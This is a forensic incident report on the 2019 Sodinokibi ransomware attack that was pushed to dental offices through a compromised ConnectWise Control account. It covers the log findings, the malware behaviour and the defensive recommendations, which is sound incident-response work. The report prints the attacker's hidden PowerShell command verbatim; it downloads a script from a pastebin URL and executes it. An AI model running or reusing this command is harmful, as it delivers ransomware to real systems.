FORENSIC INVESTIGATION SUMMARY

Created: October 3, 2019

Sikich LLP (Sikich) was retained by counsel for WDA Insurance & Services Corp. (WDAISC) to conduct a forensic investigation into a ransomware incident that took place on August 26, 2019. This report contains a summary of the incident, investigation, and findings. It also includes recommendations for all impacted practices.

INVESTIGATION SUMMARY

At the outset of the investigation, Sikich was informed that ransomware had been deployed to a number of dental offices throughout the country through a managed service provider, PerCSoft Consulting LLC (PerCSoft). PerCSoft provides information technology support and backup services to dental offices, and is the managed service provider for WDAISC's DDS Safe data backup services. It appeared that the ransomware was deployed through a third-party remote access tool called ConnectWise Control.

To conduct its investigation, Sikich reviewed information and documentation provided by PerCSoft and logs provided by ConnectWise. Sikich also collected full disk images from seven Windows computers across three different impacted dental offices. The three offices selected were sites where systems had been encrypted during the ransomware attack and subsequently recovered by running the decryption agent that the attacker[1] provided. Sikich also considered information it received relating to law enforcement's investigation into similar ransomware attacks.

The goals of Sikich's investigation were to:

- Determine the manner in which the ransomware was deployed to the systems
- Confirm the strain of ransomware utilized
- Confirm that the recovered systems were free of ransomware and other malware after the decryption
- Determine if malware may have stolen and exfiltrated sensitive data in addition to encrypting the target systems

REMOTE ACCESS LOG INVESTIGATION FINDINGS

The ConnectWise Control logs showed that, on August 26, 2019 12:48 UTC, a user account belonging to a PerCSoft employee logged in to the ConnectWise Control remote access tool from a system belonging to the cloud hosting provider, DigitalOcean, Inc. (DigitalOcean). The login was not done by the employee authorized to use the credentials. It is unclear how the attacker obtained access to the account. The account had not been configured for multi-factor authentication, and the logs did not show a pattern of failed password attempts that would indicate a brute-force password guessing attack. Sikich learned that this was consistent with other recent, nearly identical

[1] *Use of the term "attacker" does not intend to suggest (a) a single individual or party conducted the attack, (b) an outside party was involved in the attack or (c) the source of the attack.*

ransomware attacks, suggesting that the account access credentials may have been obtained through a phishing attack or purchased from a third-party source.

The logs did not show that the unauthorized user entered the system more than once or that the unauthorized user was in the system for an extended period of time. It appeared that the unauthorized user was logged in to the account and attempting to deploy ransomware over a period of 86 minutes.

After logging in, the account attempted to deploy three different malware applications as follows:

- Between August 26, 2019 13:32 UTC and August 26, 2019 13:38 UTC, the account scheduled to run an executable named *percsoft_msp.exe* on 4,622 systems spread across 462 dental office locations.
- Between August 26, 2019 13:53 UTC and August 26, 2019 14:58 UTC, the account scheduled to run an executable named *perc2.exe* on 5,057 systems spread across 469 dental office locations.
- Between August 26, 2019 14:06 UTC and August 26, 2019 14:35 UTC, the account scheduled the following PowerShell command to run on 4,634 systems spread across 462 dental office locations:

  ```
  WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -e If($ENV:PROCESSOR_ARCHITECTURE -contains
  'AMD64'){ Start-Process -FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -
  argument "IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/CwVKU8DC'));Invoke-
  HGTMJMQX;Start-Sleep -s 1000000;"}else{ IEX ((new-object net.webclient).downloadstring
  ('https://pastebin.com/raw/CwVKU8DC'));Invoke-HGTMJMQX;Start-Sleep -s 1000000; }
  ```

SYSTEM IMAGE INVESTIGATION

Sikich analyzed seven disk images from a sample of three dental offices. The results of the analysis were as follows:

- No copies of the *perc2.exe* malware executable were present on the systems or recoverable from deleted files or slack space.
- One system had the *percsoft_msp.exe* malware executable present in the anti-virus quarantine location. None of the other systems had copies of the *percsoft_msp.exe* malware executable present or in a recoverable state.
- Anti-virus logs showed that two of the systems detected and blocked the *percsoft_msp.exe* malware executable and labeled it as a Trojan.
- No artifacts related to the *perc2.exe* malware executable were found on the systems. Sikich reviewed file change activity at the time that the *perc2.exe* malware executable may have been run but did not identify suspicious file changes or creations.
- Sikich ran a malware scan but did not identify any related malware running on the systems.
  - One image still had the decryption agent present.
  - One image had a potentially infected file that, based on the file date, name and location, appeared unrelated to the ransomware event.

MALWARE ANALYSIS

Sikich retrieved a copy of the PowerShell script hosted on pastebin.com. Analysis showed that the PowerShell script created a binary executable of the Sodinokibi ransomware. Behavioral analysis of the PowerShell script, and the binary file that the PowerShell script created, did not indicate that either attempted to make network contact with other hosts.

Sikich recovered an instance of the *percsoft_msp.exe* malware executable from an anti-virus quarantine location and performed an analysis of the file. The analysis tool reported that the malware had the following behaviors:

- Remain undetected and evade analysis
- Execute a PowerShell command to delete all instances of a Volume Shadow Copy
- Attempt to access multiple system drives
- Encrypt user data

Sikich analyzed the PowerShell script hosted at https://pastebin.com/raw/CwVKU8DC. The analysis tool reported that the malware had the following behaviors:

- Read system information, which could include reading passwords from memory
- Run with escalated privileges
- Inject a binary file into memory, resulting in no file being created on the system

Sikich obtained and analyzed a copy of the binary that the pastebin.com PowerShell script created. The analysis tool reported that the malware had the following behaviors:

- Delete all instances of a Volume Shadow Copy
- Disable startup repair
- Suppress failure messages during boot
- Remain undetected and evade analysis
- Attempt to spread to other locations
- Encrypt user data

Throughout the analysis of each piece of malware, Sikich did not identify behaviors related to (a) exfiltrating data, (b) attempting to make network contacts to hosts on the Internet or (c) giving the attacker the ability to remotely control the systems or log in to applications installed on the systems.

CONCLUSIONS

Based on the fact that (a) a user account configured for single-factor authentication was used to perform the attack and (b) there was no evidence of password guessing, Sikich believes that the password for the account was likely stolen, perhaps through a phishing attack, keylogger or compromise of another system where the same password had been used. PerCSoft stated that, following the attack, all user passwords were changed and multi-factor authentication was enabled on all ConnectWise Control user accounts to prevent similar attacks.

Sikich suspects that the attacker's purpose for using multiple malware tools was to maximize the likelihood that at least one of the tools would successfully encrypt the majority of targeted systems. This is consistent with behaviors reported in connection with similar events involving the Sodinokibi ransomware in which service providers were targeted, and is also consistent with the following facts from the investigation:

- Of the three different malware applications pushed to dental office systems, the two that could be analyzed exhibited behaviors that appeared to be focused on encrypting systems and not exfiltrating data.
- The attacker pushed the *perc2.exe* malware executable to some dental office systems after pushing the PowerShell-based malware to those systems, indicating that there was not a need for the malware to be executed in a certain order or, more specifically, that the *perc2.exe* malware executable did not require access to clear-text data before the PowerShell-based malware began encrypting it.
- For one of the three malware applications, the attacker used a PowerShell script that pulled encoded malware down from a public website, which is a common anti-virus evasion tactic.

Sikich did not identify any evidence that the malware or decryption agent left behind any backdoors or other malware on any of the seven systems sampled.

RECOMMENDATIONS FOR IMPACTED LOCATIONS

The following actions should be performed at the impacted locations to verify that affected systems are free of any remaining malware:

- Perform a full anti-virus/anti-malware scan of each system on the networks that included systems impacted by the ransomware.
- Change any passwords (including for user, service and administrative accounts) that may have been in use on systems impacted by the ransomware.
- Make sure that all systems have been rebooted since the event to clear any malware from volatile memory, as the attacker targeted entire locations but not all were impacted by malware.

GENERAL BEST PRACTICE RECOMMENDATIONS FOR ALL LOCATIONS

Implementing the following best-practice recommendations can aid in preventing future security-related incidents:

- Verify that anti-virus/anti-malware software is active on all systems
- Verify that any advanced anti-virus features (which vary by vendor but may include features with names like “heuristic analysis,” “software firewall” and “network threat detection”) are enabled to help make the anti-virus software more effective at identifying and blocking threats
- Enable PowerShell Constrained Language Mode[2] to restrict the ability for attackers to bypass anti-virus using PowerShell

[2] *About Language Modes (https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-6)*

- Implement a firewall policy or web access filter system that restricts outbound requests to the Internet from internal network systems to help prevent malware from being downloaded from the Internet, similar to what occurred in this attack.

During selection, and at least annually as part of performing oversight of IT vendors with remote access to office systems, evaluate the vendor's security posture while paying particular attention to the following security controls:

- Does the vendor use multi-factor authentication for all remote access?
- Does the vendor use unique passwords for each client and for each location?
- Does the vendor store client passwords in a secure manner (e.g., by using a commercial password management tool that includes strong encryption and logging of password access)?
- Does the vendor perform annual third-party testing of security controls?
    - Examples of such testing include, but are not limited to, Service Organization Control (SOC) reports, security assessments, vulnerability scanning and/or penetration testing.
    - If such testing is performed, request and review reports describing the results of these activities.